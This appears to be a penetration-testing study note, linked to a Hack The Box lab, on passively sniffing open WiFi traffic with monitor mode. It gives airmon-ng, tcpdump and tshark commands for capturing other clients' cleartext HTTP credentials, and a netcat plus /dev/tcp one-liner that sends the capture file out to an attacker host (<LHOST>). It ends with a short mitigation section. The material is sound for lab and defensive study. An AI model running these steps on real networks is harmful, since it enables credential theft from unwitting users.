đź§ Open WiFi Traffic Sniffing
What is it?
- Concept: WiFi is a shared radio medium — every frame from every client is broadcast into the air. On an open (unencrypted) network, those frames are cleartext, so a radio in monitor mode on the right channel can read traffic that was never addressed to it: other clients’ plaintext HTTP logins, tokens, API calls.
- Impact: Credential disclosure / session theft with no exploit — a passive capture of someone else’s traffic.
How it works
- A normal (“managed”) interface only hands your OS frames addressed to your MAC and drops everyone else’s.
- Monitor mode disables that filtering — the radio delivers every frame it hears on the tuned channel, regardless of recipient (the WiFi equivalent of promiscuous mode).
- An open network applies no link-layer encryption, so captured frames are readable as-is. (On WPA2 you’d still need the PSK + the client’s 4-way handshake to decrypt.)
- You do not need to be associated/connected to sniff — monitor mode is independent of association. You associate a second radio only if you also want to interact with hosts on the network.
Exploitation
Prerequisites
- A wireless interface that supports monitor mode (
iw phy→ lists “monitor”) - RF range of the target AP
- The target network is open, OR you can decrypt it (PSK + captured handshake)
Attack Vectors
1. Find the target network + channel
nmcli device wifi list # SECURITY "--" = open
# or: iw dev wlan1 scan | grep -E 'SSID|freq|channel|signal'2. Monitor mode, tuned to the target channel
sudo airmon-ng start wlan1 6 # 6 = AP channel; iface -> wlan1mon
iw dev wlan1mon info | grep channel # verify; fix if wrong:
sudo iw dev wlan1mon set channel 63. Capture in the background (survives a brittle shell)
tcpdump -i wlan1mon -w /tmp/cap.pcap -U >/tmp/td.log 2>&1 &4. Analyse — pull cleartext HTTP creds
tshark -r /tmp/cap.pcap -Y 'http.request.method == "POST"'
# or open in Wireshark -> right-click -> Follow -> HTTP StreamNotes
- Channel mismatch = empty capture. The #1 mistake: the monitor iface sits on a different channel than the AP. Set it explicitly every time.
- Two radios = both roles at once. One radio can’t be associated (managed) and in monitor mode simultaneously. For network access and a capture, use two interfaces — e.g.
wlan0joins via nmcli for an IP whilewlan1monsniffs. mac80211_hwsimradios (common in cloud/VM labs) act like real ones but only exchange frames between radios on the same channel — channel discipline matters even more.- Exfil a remote capture when you can’t SCP:
nc -lvnp 9001 > cap.pcapon your box, thencat /tmp/cap.pcap > /dev/tcp/<LHOST>/9001on the sniffer. - Different primitive from Network Printer Credential Capture (rogue server, not RF). Tools: Airmon-ng, tcpdump, (incomplete) WireShark, nmcli.
Mitigation
- Fix: Never run plaintext protocols over open WiFi; use WPA2/WPA3-Enterprise and enforce HTTPS/VPN for client traffic. AP (“client”) isolation stops clients from seeing each other at L2.
Related Usage
| File | Created |
|---|---|
| HTB Machine - Layover | October 04, 2026 |
References: